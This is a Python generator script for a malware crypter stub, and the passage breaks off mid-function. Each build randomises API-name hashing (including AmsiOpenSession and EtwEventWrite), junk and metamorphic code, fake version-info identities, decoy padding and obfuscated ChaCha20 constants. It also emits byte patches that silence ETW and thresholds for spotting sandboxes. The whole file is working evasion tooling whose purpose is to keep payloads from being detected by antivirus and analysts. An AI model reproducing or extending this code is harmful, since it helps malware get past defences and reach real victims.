#!/usr/bin/env python3 """ generate_poly_stub.py - Polymorphic stub generator for per-build unique binaries. Generates per build: 1. stub_poly_hash.h — Hash function (random algorithm) + 28 FH_* constants 2. stub_poly_junk.c — 40-80 random junk functions for code layout variation 3. stub_poly_config.h — Per-build config (magic, sections, charset, thresholds) 4. stub_poly_metamorphic.h — Metamorphic function bodies 5. stub_poly_iat.h — IAT padding (12-20 benign API calls per build) 6. stub_poly_padding.c/h — Realistic .rdata padding (150-400KB per build) Usage: python generate_poly_stub.py --outdir """ import argparse import os import random import struct import sys # --------------------------------------------------------------------------- # Hash algorithm implementations (must match C output exactly) # --------------------------------------------------------------------------- def djb2a_hash_narrow(s: str, seed: int) -> int: """DJB2a variant with custom seed, operating on ASCII bytes.""" h = seed & 0xFFFFFFFF for c in s.encode('ascii'): h = (((h << 5) + h) ^ c) & 0xFFFFFFFF return h def djb2a_hash_wide(s: str, seed: int) -> int: """DJB2a variant on raw UTF-16LE bytes with case folding (a-z -> A-Z).""" h = seed & 0xFFFFFFFF raw = s.encode('utf-16-le') for b in raw: c = b if 0x61 <= c <= 0x7A: c -= 0x20 h = (((h << 5) + h) ^ c) & 0xFFFFFFFF return h def fnv1a_hash_narrow(s: str) -> int: """FNV-1a 32-bit hash on ASCII bytes.""" h = 0x811C9DC5 for c in s.encode('ascii'): h = ((h ^ c) * 0x01000193) & 0xFFFFFFFF return h def fnv1a_hash_wide(s: str) -> int: """FNV-1a 32-bit on raw UTF-16LE bytes with case folding.""" h = 0x811C9DC5 raw = s.encode('utf-16-le') for b in raw: c = b if 0x61 <= c <= 0x7A: c -= 0x20 h = ((h ^ c) * 0x01000193) & 0xFFFFFFFF return h def sdbm_hash_narrow(s: str, shift1: int, shift2: int) -> int: """SDBM hash variant with configurable shifts, on ASCII bytes.""" h = 0 for c in s.encode('ascii'): h = (c + (h << shift1) + (h << shift2) - h) & 0xFFFFFFFF return h def sdbm_hash_wide(s: str, shift1: int, shift2: int) -> int: """SDBM variant on raw UTF-16LE bytes with case folding.""" h = 0 raw = s.encode('utf-16-le') for b in raw: c = b if 0x61 <= c <= 0x7A: c -= 0x20 h = (c + (h << shift1) + (h << shift2) - h) & 0xFFFFFFFF return h def rotating_xor_hash_narrow(s: str, shift1: int, shift2: int) -> int: """Rotating XOR hash with configurable shifts, on ASCII bytes.""" h = 0 for c in s.encode('ascii'): h = ((h << shift1) ^ (h >> shift2) ^ c) & 0xFFFFFFFF return h def rotating_xor_hash_wide(s: str, shift1: int, shift2: int) -> int: """Rotating XOR on raw UTF-16LE bytes with case folding.""" h = 0 raw = s.encode('utf-16-le') for b in raw: c = b if 0x61 <= c <= 0x7A: c -= 0x20 h = ((h << shift1) ^ (h >> shift2) ^ c) & 0xFFFFFFFF return h def jenkins_hash_narrow(s: str) -> int: """Jenkins one-at-a-time hash on ASCII bytes.""" h = 0 for c in s.encode('ascii'): h = (h + c) & 0xFFFFFFFF h = (h + (h << 10)) & 0xFFFFFFFF h ^= (h >> 6) h = (h + (h << 3)) & 0xFFFFFFFF h ^= (h >> 11) h = (h + (h << 15)) & 0xFFFFFFFF return h def jenkins_hash_wide(s: str) -> int: """Jenkins one-at-a-time on raw UTF-16LE bytes with case folding.""" h = 0 raw = s.encode('utf-16-le') for b in raw: c = b if 0x61 <= c <= 0x7A: c -= 0x20 h = (h + c) & 0xFFFFFFFF h = (h + (h << 10)) & 0xFFFFFFFF h ^= (h >> 6) h = (h + (h << 3)) & 0xFFFFFFFF h ^= (h >> 11) h = (h + (h << 15)) & 0xFFFFFFFF return h # --------------------------------------------------------------------------- # Hash constant definitions (28 total) # --------------------------------------------------------------------------- # Wide hashes (module names — case-insensitive via byte-level folding) WIDE_NAMES = [ ("FH_KERNEL32", "KERNEL32.DLL"), ("FH_NTDLL", "NTDLL.DLL"), ] # Narrow hashes (function names — case-sensitive ASCII) NARROW_NAMES = [ ("FH_LoadLibraryA", "LoadLibraryA"), ("FH_GetProcAddress", "GetProcAddress"), ("FH_VirtualAlloc", "VirtualAlloc"), ("FH_VirtualProtect", "VirtualProtect"), ("FH_VirtualFree", "VirtualFree"), ("FH_GetModuleHandleA", "GetModuleHandleA"), ("FH_CreateFileA", "CreateFileA"), ("FH_ReadFile", "ReadFile"), ("FH_GetFileSize", "GetFileSize"), ("FH_CloseHandle", "CloseHandle"), ("FH_GetSystemInfo", "GetSystemInfo"), ("FH_GlobalMemoryStatusEx", "GlobalMemoryStatusEx"), ("FH_GetDiskFreeSpaceExA", "GetDiskFreeSpaceExA"), ("FH_Sleep", "Sleep"), ("FH_GetTickCount64", "GetTickCount64"), ("FH_FindFirstFileA", "FindFirstFileA"), ("FH_FindNextFileA", "FindNextFileA"), ("FH_FindClose", "FindClose"), ("FH_GetEnvironmentVariableA", "GetEnvironmentVariableA"), ("FH_FlushInstructionCache", "FlushInstructionCache"), ("FH_ExitProcess", "ExitProcess"), ("FH_NtAllocateVirtualMemory", "NtAllocateVirtualMemory"), ("FH_NtProtectVirtualMemory", "NtProtectVirtualMemory"), ("FH_NtFreeVirtualMemory", "NtFreeVirtualMemory"), ("FH_NtFlushInstructionCache", "NtFlushInstructionCache"), ("FH_EtwEventWrite", "EtwEventWrite"), ("FH_AmsiOpenSession", "AmsiOpenSession"), ("FH_WriteFile", "WriteFile"), ] # --------------------------------------------------------------------------- # Algorithm selection and C code generation # --------------------------------------------------------------------------- class HashAlgorithm: """Encapsulates a chosen hash algorithm with its parameters.""" def __init__(self, name, narrow_fn, wide_fn, c_narrow, c_wide, params): self.name = name self.narrow_fn = narrow_fn self.wide_fn = wide_fn self.c_narrow = c_narrow # C source for StubHash(const char*) self.c_wide = c_wide # C source for StubHashW(const WCHAR*, USHORT) self.params = params def make_djb2a(): seed = random.randint(0x10000000, 0xFFFFFFFF) c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{ DWORD h = 0x{seed:08X}u; while (*str) {{ h = ((h << 5) + h) ^ (unsigned char)*str++; }} return h; }}""" c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{ DWORD h = 0x{seed:08X}u; const char *raw = (const char *)str; for (USHORT i = 0; i < lenBytes; i++) {{ char c = raw[i]; if (c >= 'a' && c <= 'z') c -= 0x20; h = ((h << 5) + h) ^ (unsigned char)c; }} return h; }}""" return HashAlgorithm( name=f"DJB2a (seed 0x{seed:08X})", narrow_fn=lambda s: djb2a_hash_narrow(s, seed), wide_fn=lambda s: djb2a_hash_wide(s, seed), c_narrow=c_narrow, c_wide=c_wide, params={"seed": seed}, ) def make_fnv1a(): c_narrow = """static inline __attribute__((always_inline)) DWORD StubHash(const char *str) { DWORD h = 0x811C9DC5u; while (*str) { h = (h ^ (unsigned char)*str++) * 0x01000193u; } return h; }""" c_wide = """static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) { DWORD h = 0x811C9DC5u; const char *raw = (const char *)str; for (USHORT i = 0; i < lenBytes; i++) { char c = raw[i]; if (c >= 'a' && c <= 'z') c -= 0x20; h = (h ^ (unsigned char)c) * 0x01000193u; } return h; }""" return HashAlgorithm( name="FNV-1a", narrow_fn=fnv1a_hash_narrow, wide_fn=fnv1a_hash_wide, c_narrow=c_narrow, c_wide=c_wide, params={}, ) def make_sdbm(): shift1 = random.choice([6, 7, 8]) shift2 = random.choice([14, 15, 16]) c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{ DWORD h = 0; while (*str) {{ h = (unsigned char)*str++ + (h << {shift1}) + (h << {shift2}) - h; }} return h; }}""" c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{ DWORD h = 0; const char *raw = (const char *)str; for (USHORT i = 0; i < lenBytes; i++) {{ char c = raw[i]; if (c >= 'a' && c <= 'z') c -= 0x20; h = (unsigned char)c + (h << {shift1}) + (h << {shift2}) - h; }} return h; }}""" return HashAlgorithm( name=f"SDBM (shifts {shift1},{shift2})", narrow_fn=lambda s: sdbm_hash_narrow(s, shift1, shift2), wide_fn=lambda s: sdbm_hash_wide(s, shift1, shift2), c_narrow=c_narrow, c_wide=c_wide, params={"shift1": shift1, "shift2": shift2}, ) def make_rotating_xor(): shift1 = random.choice([4, 5, 6, 7]) shift2 = random.choice([24, 25, 27, 28]) c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{ DWORD h = 0; while (*str) {{ h = (h << {shift1}) ^ (h >> {shift2}) ^ (unsigned char)*str++; }} return h; }}""" c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{ DWORD h = 0; const char *raw = (const char *)str; for (USHORT i = 0; i < lenBytes; i++) {{ char c = raw[i]; if (c >= 'a' && c <= 'z') c -= 0x20; h = (h << {shift1}) ^ (h >> {shift2}) ^ (unsigned char)c; }} return h; }}""" return HashAlgorithm( name=f"Rotating-XOR (shifts {shift1},{shift2})", narrow_fn=lambda s: rotating_xor_hash_narrow(s, shift1, shift2), wide_fn=lambda s: rotating_xor_hash_wide(s, shift1, shift2), c_narrow=c_narrow, c_wide=c_wide, params={"shift1": shift1, "shift2": shift2}, ) def make_jenkins(): c_narrow = """static inline __attribute__((always_inline)) DWORD StubHash(const char *str) { DWORD h = 0; while (*str) { h += (unsigned char)*str++; h += h << 10; h ^= h >> 6; } h += h << 3; h ^= h >> 11; h += h << 15; return h; }""" c_wide = """static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) { DWORD h = 0; const char *raw = (const char *)str; for (USHORT i = 0; i < lenBytes; i++) { char c = raw[i]; if (c >= 'a' && c <= 'z') c -= 0x20; h += (unsigned char)c; h += h << 10; h ^= h >> 6; } h += h << 3; h ^= h >> 11; h += h << 15; return h; }""" return HashAlgorithm( name="Jenkins", narrow_fn=jenkins_hash_narrow, wide_fn=jenkins_hash_wide, c_narrow=c_narrow, c_wide=c_wide, params={}, ) # --------------------------------------------------------------------------- # VERSIONINFO randomization pools # --------------------------------------------------------------------------- VERSIONINFO_IDENTITIES = [ ("AppHelper", "Application Helper Service", "AppHelper.exe", "Contoso Ltd."), ("UpdateAgent", "Automatic Update Agent", "UpdateAgent.exe", "Fabrikam Inc."), ("SyncService", "Data Synchronization Service", "SyncService.exe", "Woodgrove Systems"), ("NetMonitor", "Network Monitor Utility", "NetMonitor.exe", "Northwind Software"), ("CacheManager", "Cache Management Service", "CacheManager.exe", "Litware Inc."), ("PerfOptimizer", "Performance Optimization Tool", "PerfOptimizer.exe", "Proseware Inc."), ("TaskScheduler", "Scheduled Task Runner", "TaskRunner.exe", "Adatum Corporation"), ("IndexHelper", "Index Maintenance Helper", "IndexHelper.exe", "Adventure Works"), ("DiagService", "Diagnostic Collection Service", "DiagService.exe", "Trey Research"), ("EventLogger", "Event Logging Service", "EventLogger.exe", "Consolidated Messenger"), ("StorageUtil", "Storage Optimization Utility", "StorageUtil.exe", "Contoso Ltd."), ("HealthCheck", "System Health Monitor", "HealthCheck.exe", "Fabrikam Inc."), ("ConfigHost", "Configuration Host Process", "ConfigHost.exe", "Woodgrove Systems"), ("ServiceAgent", "Background Service Agent", "ServiceAgent.exe", "Northwind Software"), ("NotifyService", "Notification Delivery Service", "NotifyService.exe", "Litware Inc."), ] WINDOWS_BUILDS = [ (10, 0, 19041), # Win10 2004 (10, 0, 19042), # Win10 20H2 (10, 0, 19043), # Win10 21H1 (10, 0, 19044), # Win10 21H2 (10, 0, 19045), # Win10 22H2 (10, 0, 22621), # Win11 22H2 (10, 0, 22631), # Win11 23H2 (10, 0, 26100), # Win11 24H2 ] def generate_versioninfo(outdir, tools_dir): """Generate stub_versioninfo.rc + stub_manifest.manifest with randomized identity.""" internal, description, original_filename, company = random.choice(VERSIONINFO_IDENTITIES) major, minor, build = random.choice(WINDOWS_BUILDS) patch = random.randint(1, 3999) ver_str = f"{major}.{minor}.{build}.{patch}" ver_csv = f"{major},{minor},{build},{patch}" # Generate RC file rc_lines = [ '#include ', '', '// Icon', '1 ICON "zerin_stub.ico"', '', '// Version Info', 'VS_VERSION_INFO VERSIONINFO', f'FILEVERSION {ver_csv}', f'PRODUCTVERSION {ver_csv}', 'FILEFLAGSMASK VS_FFI_FILEFLAGSMASK', 'FILEFLAGS 0', 'FILEOS VOS_NT_WINDOWS32', 'FILETYPE VFT_APP', 'BEGIN', ' BLOCK "StringFileInfo"', ' BEGIN', ' BLOCK "040904B0"', ' BEGIN', f' VALUE "CompanyName", "{company}"', f' VALUE "FileDescription", "{description}"', f' VALUE "FileVersion", "{ver_str}"', f' VALUE "InternalName", "{internal}"', f' VALUE "LegalCopyright", "Copyright (C) {random.choice([2022, 2023, 2024, 2025])} {company}. All rights reserved."', f' VALUE "OriginalFilename", "{original_filename}"', f' VALUE "ProductName", "{description}"', f' VALUE "ProductVersion", "{ver_str}"', ' END', ' END', ' BLOCK "VarFileInfo"', ' BEGIN', ' VALUE "Translation", 0x0409, 1200', ' END', 'END', '', '// Manifest', '1 24 "stub_manifest.manifest"', '', ] rc_path = os.path.join(outdir, "stub_versioninfo.rc") with open(rc_path, "w", newline="\n") as f: f.write("\n".join(rc_lines)) # Generate manifest file manifest_lines = [ '', '', f' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', '', '', ] manifest_path = os.path.join(outdir, "stub_manifest.manifest") with open(manifest_path, "w", newline="\n") as f: f.write("\n".join(manifest_lines)) # Copy icon from tools directory if it exists import shutil icon_src = os.path.join(tools_dir, "zerin_stub.ico") icon_dst = os.path.join(outdir, "zerin_stub.ico") if os.path.isfile(icon_src) and not os.path.isfile(icon_dst): shutil.copy2(icon_src, icon_dst) return internal, ver_str ALGORITHM_FACTORIES = [make_djb2a, make_fnv1a, make_sdbm, make_rotating_xor, make_jenkins] def pick_algorithm() -> HashAlgorithm: factory = random.choice(ALGORITHM_FACTORIES) return factory() def compute_constants(algo: HashAlgorithm, max_retries: int = 50) -> dict: """Compute all 28 FH_* constants with collision detection + retry.""" for attempt in range(max_retries): values = {} collision = False for define_name, api_name in WIDE_NAMES: values[define_name] = algo.wide_fn(api_name) for define_name, api_name in NARROW_NAMES: values[define_name] = algo.narrow_fn(api_name) # Check for collisions seen = {} for name, val in values.items(): if val in seen: collision = True break seen[val] = name if not collision: return values # Retry with a fresh algorithm instance (new random params) algo = pick_algorithm() raise RuntimeError(f"Failed to find collision-free hash constants after {max_retries} attempts") # --------------------------------------------------------------------------- # stub_poly_hash.h generation # --------------------------------------------------------------------------- def generate_hash_header(algo: HashAlgorithm, constants: dict) -> str: lines = [] lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */") lines.append(f"/* Algorithm: {algo.name} */") lines.append("#ifndef STUB_POLY_HASH_H") lines.append("#define STUB_POLY_HASH_H") lines.append("") lines.append("#include ") lines.append("") # Hash functions lines.append(algo.c_narrow) lines.append("") lines.append(algo.c_wide) lines.append("") # Constants lines.append("/* Pre-computed hash constants */") for define_name, _ in WIDE_NAMES: lines.append(f"#define {define_name:<36s} 0x{constants[define_name]:08X}u") lines.append("") for define_name, _ in NARROW_NAMES: lines.append(f"#define {define_name:<36s} 0x{constants[define_name]:08X}u") lines.append("") lines.append("#endif /* STUB_POLY_HASH_H */") lines.append("") return "\n".join(lines) # --------------------------------------------------------------------------- # stub_poly_junk.c generation # --------------------------------------------------------------------------- def random_hex_name() -> str: return f"poly_stub_fn_{random.randint(0, 0xFFFFFFFF):08x}" def gen_arithmetic_chain(depth: int) -> list: """Generate an arithmetic computation chain.""" lines = [] lines.append(" unsigned int r = a;") for _ in range(depth): op = random.choice(["+", "^", "-", "*"]) val = random.randint(1, 0xFFFF) lines.append(f" r = (r {op} 0x{val:X}u);") lines.append(" return r;") return lines def gen_bitwise_rotation(depth: int) -> list: """Generate bitwise rotation operations.""" lines = [] lines.append(" unsigned int r = a;") for _ in range(depth): shift = random.randint(1, 31) if random.random() < 0.5: lines.append(f" r = (r << {shift}) | (r >> (32 - {shift}));") else: lines.append(f" r = (r >> {shift}) | (r << (32 - {shift}));") val = random.randint(1, 0xFFFF) lines.append(f" r ^= 0x{val:X}u;") lines.append(" return r;") return lines def gen_array_computation() -> list: """Generate an array-based computation.""" lines = [] size = random.randint(4, 8) vals = [random.randint(0, 0xFF) for _ in range(size)] vals_str = ", ".join(f"0x{v:02X}" for v in vals) lines.append(f" static const unsigned char tbl[] = {{ {vals_str} }};") lines.append(f" unsigned int r = a;") lines.append(f" for (int i = 0; i < {size}; i++) {{") lines.append(f" r = (r * 31u) ^ tbl[i];") lines.append(f" }}") lines.append(f" return r;") return lines def gen_short_loop() -> list: """Generate a short loop computation.""" lines = [] count = random.randint(3, 12) lines.append(" unsigned int r = a;") lines.append(f" for (int i = 0; i < {count}; i++) {{") op = random.choice(["^=", "+=", "-="]) shift = random.randint(1, 15) lines.append(f" r {op} (r >> {shift}) + (unsigned int)i;") lines.append(" }") lines.append(" return r;") return lines def generate_junk_functions(count: int) -> str: """Generate stub_poly_junk.c with `count` junk functions.""" lines = [] lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */") lines.append("#include ") lines.append("") lines.append("volatile unsigned int g_poly_stub_state = 0;") lines.append("") func_names = [] func_defs = [] for i in range(count): name = random_hex_name() func_names.append(name) param_list = "unsigned int a" # Pick a body type (cross-function calls handled separately below) body_type = random.randint(0, 3) if body_type == 0: body_lines = gen_arithmetic_chain(random.randint(3, 8)) elif body_type == 1: body_lines = gen_bitwise_rotation(random.randint(2, 5)) elif body_type == 2: body_lines = gen_array_computation() else: body_lines = gen_short_loop() func_defs.append((name, param_list, body_lines)) # Add cross-function call bodies for ~20% of functions (after first few are defined) for i in range(len(func_defs)): if i >= 3 and random.random() < 0.2: name, param_list, _ = func_defs[i] target_idx = random.randint(0, i - 1) target_name = func_names[target_idx] new_body = [] new_body.append(f" unsigned int r = {target_name}(a);") val = random.randint(1, 0xFFFF) new_body.append(f" r ^= 0x{val:X}u;") new_body.append(" return r;") func_defs[i] = (name, param_list, new_body) # Emit forward declarations for name, param_list, _ in func_defs: lines.append(f"static unsigned int {name}({param_list});") lines.append("") # Emit function definitions for name, param_list, body_lines in func_defs: lines.append(f"static unsigned int {name}({param_list}) {{") lines.extend(body_lines) lines.append("}") lines.append("") # Emit poly_stub_init() that chains all functions lines.append("void poly_stub_init(void) {") lines.append(" unsigned int s = 0x{:08X}u;".format(random.randint(0, 0xFFFFFFFF))) for name in func_names: lines.append(f" s = {name}(s);") lines.append(" g_poly_stub_state = s;") lines.append("}") lines.append("") return "\n".join(lines) # --------------------------------------------------------------------------- # Per-build config generation (shared between stub + crypter) # --------------------------------------------------------------------------- # Legitimate-looking PE section name pools (24 entries each) CFG_SECTION_POOL = [".mrdata", ".voltbl", ".didat", ".00cfg", ".gxfg", ".gehcont", ".retplne", ".idata", ".msvcjmc", ".gfids", ".textbss", ".xcpt", ".minATL", ".tls", ".xdata", ".edata", ".reloc", ".pdata", ".wixburn", ".cormeta", ".gfguard", ".cfguard", ".retpol", ".mrfld"] PAY_SECTION_POOL = [".rsrc1", ".shared", ".sxdata", ".rdata2", ".data2", ".xdata1", ".tls1", ".orpc", ".rsrc2", ".vladata", ".bss1", ".rodata", ".data3", ".rdata3", ".xdata2", ".idata2", ".crt", ".drectve", ".data1", ".npad", ".crthunk", ".rtc", ".tdata", ".prel"] def _random_section_name(): """Generate a random section name: '.' + 4-6 lowercase letters.""" length = random.randint(4, 6) return "." + "".join(random.choice("abcdefghijklmnopqrstuvwxyz") for _ in range(length)) # Base English character frequency distribution (will be shuffled) BASE_CHARSET_CHARS = ( " " * 10 + "e" * 10 + "t" * 10 + "a" * 8 + "o" * 8 + "i" * 8 + "n" * 8 + "s" * 8 + "h" * 8 + "r" * 8 + "d" * 6 + "l" * 6 + "c" * 6 + "u" * 6 + "m" * 6 + "w" * 6 + "f" * 5 + "g" * 5 + "y" * 5 + "p" * 5 + "b" * 5 + "v" * 4 + "k" * 4 + "j" * 2 + "x" * 2 + "q" * 2 + "z" * 2 + "E" * 4 + "T" * 4 + "A" * 4 + "O" * 4 + "I" * 4 + "N" * 4 + "S" * 4 + "H" * 4 + "R" * 4 + "D" * 4 + "L" * 4 + "C" * 4 + "U" * 4 + "M" * 4 + "W" * 4 + "," * 3 + "." * 3 + ";" * 2 + ":" * 2 + "!" * 1 + "?" * 1 + "'" * 1 + '"' * 1 + "(" * 1 + ")" * 1 + " " * 2 ) def generate_shuffled_charset() -> str: """Generate a unique shuffled entropy charset per build.""" chars = list(BASE_CHARSET_CHARS) random.shuffle(chars) return "".join(chars) def generate_chacha_init_code() -> tuple: """Generate obfuscated ChaCha20 constant initialization. Instead of literal 0x61707865 etc., compute them via arithmetic from random intermediate values. Returns (code_lines, state_var_name). """ # The four ChaCha20 constants (RFC 8439 "expand 32-byte k") constants = [0x61707865, 0x3320646e, 0x79622d32, 0x6b206574] lines = [] for i, val in enumerate(constants): # Pick random addend/xor values that produce the constant method = random.randint(0, 2) if method == 0: # XOR method: a ^ b = val a = random.randint(0, 0xFFFFFFFF) b = a ^ val lines.append(f" state[{i}] = 0x{a:08X}u ^ 0x{b:08X}u;") elif method == 1: # ADD method: a + b = val (mod 2^32) a = random.randint(0, 0xFFFFFFFF) b = (val - a) & 0xFFFFFFFF lines.append(f" state[{i}] = 0x{a:08X}u + 0x{b:08X}u;") else: # SUB method: a - b = val (mod 2^32) b = random.randint(0, 0xFFFFFFFF) a = (val + b) & 0xFFFFFFFF lines.append(f" state[{i}] = 0x{a:08X}u - 0x{b:08X}u;") return lines def generate_etw_patch_code() -> tuple: """Generate a random multi-byte ETW patch sequence. Returns (patch_bytes_hex, patch_size) for a sequence that effectively makes the function return 0 (STATUS_SUCCESS). """ # Various ways to make a function return 0 immediately patches = [ # xor eax, eax; ret ([0x31, 0xC0, 0xC3], 3), # xor eax, eax; ret (alternate encoding) ([0x33, 0xC0, 0xC3], 3), # push 0; pop rax; ret ([0x6A, 0x00, 0x58, 0xC3], 4), # mov eax, 0; ret ([0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], 6), # xor eax, eax; nop; ret ([0x31, 0xC0, 0x90, 0xC3], 4), # sub eax, eax; ret ([0x29, 0xC0, 0xC3], 3), ] return random.choice(patches) def generate_stub_config_header(magic, cfg_section, pay_section, charset, chacha_init_lines, etw_patch, etw_size, sb_min_cpu, sb_min_ram_gb, sb_min_disk_gb, sb_sleep_ms, sb_sleep_min_ms, sb_min_recent, lcg_mult, lcg_inc, lcg_shift) -> str: """Generate stub_poly_config.h shared by stub template and crypter.""" # Escape charset for C string literal (handle special chars) escaped = "" for ch in charset: if ch == '"': escaped += '\\"' elif ch == '\\': escaped += '\\\\' elif ch == '\n': escaped += '\\n' elif ord(ch) < 32 or ord(ch) > 126: escaped += f'\\x{ord(ch):02x}' else: escaped += ch # Split charset into chunks for readable C array # Avoid splitting in the middle of escape sequences (e.g. \" or \\) chunk_size = 60 charset_chunks = [] pos = 0 while pos < len(escaped): end = min(pos + chunk_size, len(escaped)) # Don't split right after a backslash (it would escape the closing quote) while end < len(escaped) and end > pos and escaped[end - 1] == '\\': end -= 1 if end == pos: # degenerate case: chunk is all backslashes end = min(pos + chunk_size + 1, len(escaped)) charset_chunks.append(f' "{escaped[pos:end]}"') pos = end lines = [] lines.append("/* Auto-generated by generate_poly_stub.py - DO NOT EDIT */") lines.append("#ifndef STUB_POLY_CONFIG_H") lines.append("#define STUB_POLY_CONFIG_H") lines.append("") lines.append(f"#define STUB_CONFIG_MAGIC 0x{magic:08X}u") lines.append(f'#define STUB_CFG_SECTION "{cfg_section}"') lines.append(f'#define STUB_PAY_SECTION "{pay_section}"') lines.append("") lines.append("/* Per-build shuffled entropy charset */") lines.append(f"#define STUB_ENTROPY_CHARSET_LEN {len(charset)}") lines.append("static const char STUB_ENTROPY_CHARSET[] =") lines.append("\n".join(charset_chunks) + ";") lines.append("") lines.append("/* ChaCha20 obfuscated state initialization */") lines.append("#define CHACHA_INIT_STATE(state) do { \\") for cl in chacha_init_lines: lines.append(f"{cl} \\") lines.append("} while(0)") lines.append("") lines.append("/* ETW multi-byte patch */") etw_bytes_str = ", ".join(f"0x{b:02X}" for b in etw_patch) lines.append(f"static const unsigned char STUB_ETW_PATCH[] = {{ {etw_bytes_str} }};") lines.append(f"#define STUB_ETW_PATCH_SIZE {etw_size}") lines.append("") lines.append("/* Randomized sandbox thresholds */") lines.append(f"#define SB_MIN_CPU {sb_min_cpu}") lines.append(f"#define SB_MIN_RAM_GB {sb_min_ram_gb}") lines.append(f"#define SB_MIN_DISK_GB {sb_min_disk_gb}") lines.append(f"#define SB_SLEEP_MS {sb_sleep_ms}") lines.append(f"#define SB_SLEEP_MIN_MS {sb_sleep_min_ms}") lines.append(f"#define SB_MIN_RECENT {sb_min_recent}") lines.append("") lines.append("/* Per-build LCG parameters for entropy pad generation */") lines.append(f"#define STUB_LCG_MULT 0x{lcg_mult:08X}u") lines.append(f"#define STUB_LCG_INC 0x{lcg_inc:04X}u") lines.append(f"#define STUB_LCG_SHIFT {lcg_shift}") lines.append("") lines.append("#endif /* STUB_POLY_CONFIG_H */") lines.append("") return "\n".join(lines) # --------------------------------------------------------------------------- # Metamorphic transform generators # --------------------------------------------------------------------------- def gen_meta_entropy_pad(lcg_mult, lcg_inc, lcg_shift): """Generate metamorphic generate_entropy_pad with per-build LCG params. Also randomly selects loop unrolling factor (1x, 2x, or 4x). """ unroll = random.choice([1, 2, 4]) lines = [] lines.append("static void generate_entropy_pad(uint32_t seed, uint8_t *pad, uint32_t pad_size) {") lines.append(" uint32_t state = seed;") lines.append(" uint32_t charset_len = STUB_ENTROPY_CHARSET_LEN;") if unroll == 1: lines.append(" for (uint32_t i = 0; i < pad_size; i++) {") lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;") lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];") lines.append(" }") elif unroll == 2: lines.append(" uint32_t full = pad_size & ~1u;") lines.append(" uint32_t i = 0;") lines.append(" for (; i < full; i += 2) {") lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;") lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];") lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;") lines.append(f" pad[i+1] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];") lines.append(" }") lines.append(" for (; i < pad_size; i++) {") lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;") lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];") lines.append(" }") else: # 4x lines.append(" uint32_t full = pad_size & ~3u;") lines.append(" uint32_t i = 0;") lines.append(" for (; i < full; i += 4) {") for u in range(4): lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;") lines.append(f" pad[i+{u}] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];") lines.append(" }") lines.append(" for (; i < pad_size; i++) {") lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;") lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];") lines.append(" }") lines.append("}") return "\n".join(lines) def gen_meta_section_to_protection(): """Generate metamorphic SectionToProtection with randomly chosen variant.""" variant = random.choice(["conditional", "ternary", "lut", "accumulator"]) if variant == "conditional": # Shuffled conditional chain (within priority groups to preserve correctness) group3 = [("e && r && w", "PAGE_EXECUTE_READWRITE")] group2 = [ ("e && r", "PAGE_EXECUTE_READ"), ("e && w", "PAGE_EXECUTE_WRITECOPY"), ("r && w", "PAGE_READWRITE"), ] group1 = [ ("e", "PAGE_EXECUTE"), ("r", "PAGE_READONLY"), ("w", "PAGE_WRITECOPY"), ] random.shuffle(group2) random.shuffle(group1) cases = group3 + group2 + group1 lines = [] lines.append("static DWORD SectionToProtection(DWORD ch) {") lines.append(" BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;") lines.append(" BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;") lines.append(" BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;") for cond, ret in cases: lines.append(f" if ({cond}) return {ret};") lines.append(" return PAGE_NOACCESS;") lines.append("}") return "\n".join(lines) elif variant == "ternary": lines = [] lines.append("static DWORD SectionToProtection(DWORD ch) {") lines.append(" BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;") lines.append(" BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;") lines.append(" BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;") lines.append(" return e ? (r ? (w ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ)") lines.append(" : (w ? PAGE_EXECUTE_WRITECOPY : PAGE_EXECUTE))") lines.append(" : (r ? (w ? PAGE_READWRITE : PAGE_READONLY)") lines.append(" : (w ? PAGE_WRITECOPY : PAGE_NOACCESS));") lines.append("}") return "\n".join(lines) elif variant == "lut": lines = [] lines.append("static DWORD SectionToProtection(DWORD ch) {") lines.append(" static const DWORD lut[] = {") lines.append(" PAGE_NOACCESS, PAGE_WRITECOPY, PAGE_READONLY, PAGE_READWRITE,") lines.append(" PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE") lines.append(" };") lines.append(" int idx = ((ch >> 27) & 4) | ((ch >> 29) & 